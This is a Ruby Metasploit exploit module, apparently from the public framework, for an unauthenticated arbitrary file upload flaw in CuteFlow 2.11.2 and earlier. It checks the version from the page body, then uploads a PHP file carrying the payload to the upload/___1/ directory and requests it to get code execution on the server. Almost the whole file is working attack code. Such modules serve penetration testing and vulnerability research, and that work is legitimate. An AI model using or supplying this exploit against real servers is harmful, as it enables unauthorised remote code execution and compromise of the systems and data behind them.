121 lines
3.5 KiB
Ruby
121 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
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This application has an upload feature that allows an unauthenticated
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user to upload arbitrary files to the 'upload/___1/' directory
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and then execute it.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
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],
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'References' =>
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[
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['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'],
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['OSVDB', '84829'],
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#['EDB', ''],
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['Automatic Targeting', { 'auto' => true }]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jul 27 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
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])
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end
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def check
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base = normalize_uri(target_uri.path)
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base << '/' if base[-1, 1] != '/'
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res = send_request_raw({
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'method' => 'GET',
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'uri' => base
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})
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if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
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return Exploit::CheckCode::Appears
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elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def upload(base, fname, file)
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# construct post data
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boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
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data_post = "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
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data_post << "Content-Type: text/php\r\n"
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data_post << "\r\n"
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data_post << file
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data_post << "\r\n"
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data_post << "--#{boundary}\r\n"
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# upload
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"),
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'ctype' => "multipart/form-data; boundary=#{boundary}",
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'data' => data_post,
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})
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return res
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end
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def exploit
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base = normalize_uri(target_uri.path)
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base << '/' if base[-1, 1] != '/'
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# upload PHP payload to upload/___1/
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print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
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fname = rand_text_alphanumeric(rand(10)+6) + '.php'
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php = %Q|<?php #{payload.encoded} ?>|
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res = upload(base, fname, php)
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if res.nil?
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print_error("Uploading PHP payload failed")
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return
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end
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# retrieve and execute PHP payload
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print_status("Retrieving file: #{fname}")
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send_request_raw({
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'method' => 'GET',
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'uri' => normalize_uri(base, "upload/___1/#{fname}")
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})
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handler
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end
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end
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